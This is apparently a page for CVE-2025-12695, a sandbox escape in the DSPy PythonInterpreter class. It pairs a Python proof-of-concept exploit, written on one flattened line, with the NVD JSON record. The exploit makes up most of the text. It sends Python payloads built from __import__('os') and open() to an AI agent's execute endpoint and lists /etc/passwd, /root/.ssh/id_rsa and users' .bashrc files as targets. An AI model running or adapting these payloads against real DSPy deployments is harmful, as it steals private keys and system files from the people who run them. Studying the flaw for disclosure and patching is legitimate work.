CVE-2025-12695

import requests import json # CVE-2025-12695 PoC - DSPy PythonInterpreter Sandbox Escape # Target: DSPy application using PythonInterpreter with user input def exploit_dspy_file_read(target_url, target_file='/etc/passwd'): """ Exploit DSPy PythonInterpreter sandbox escape to read arbitrary files """ # Malicious payload to read files through PythonInterpreter payload = f"__import__('os').read(__import__('os').open('{target_file}', 0), 10000)" # Alternative payload using built-in open alt_payload = f"open('{target_file}').read()" # Send request to vulnerable endpoint data = { 'input': payload, 'use_interpreter': True } try: response = requests.post(target_url, json=data, timeout=10) if response.status_code == 200: result = response.json() print(f"[+] Successfully read file: {target_file}") print(result.get('output', 'No output')) return True except Exception as e: print(f"[-] Error: {e}") return False # Example usage if __name__ == "__main__": target = "http://vulnerable-app.com/api/execute" # Read sensitive files files_to_read = [ '/etc/passwd', '/root/.ssh/id_rsa', '/home/*/.bashrc' ] for file_path in files_to_read: exploit_dspy_file_read(target, file_path)

{"cve": {"id": "CVE-2025-12695", "sourceIdentifier": "[email protected]", "published": "2025-11-04T14:15:34.087", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The overly permissive sandbox configuration in DSPy allows attackers to steal sensitive files in cases when users build an AI agent which consumes user input and uses the “PythonInterpreter” class."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-653"}]}], "references": [{"url": "https://research.jfrog.com/vulnerabilities/dspy-sandbox-escape-arbitrary-file-read-jfsa-2025-001495652/", "source": "[email protected]"}]}}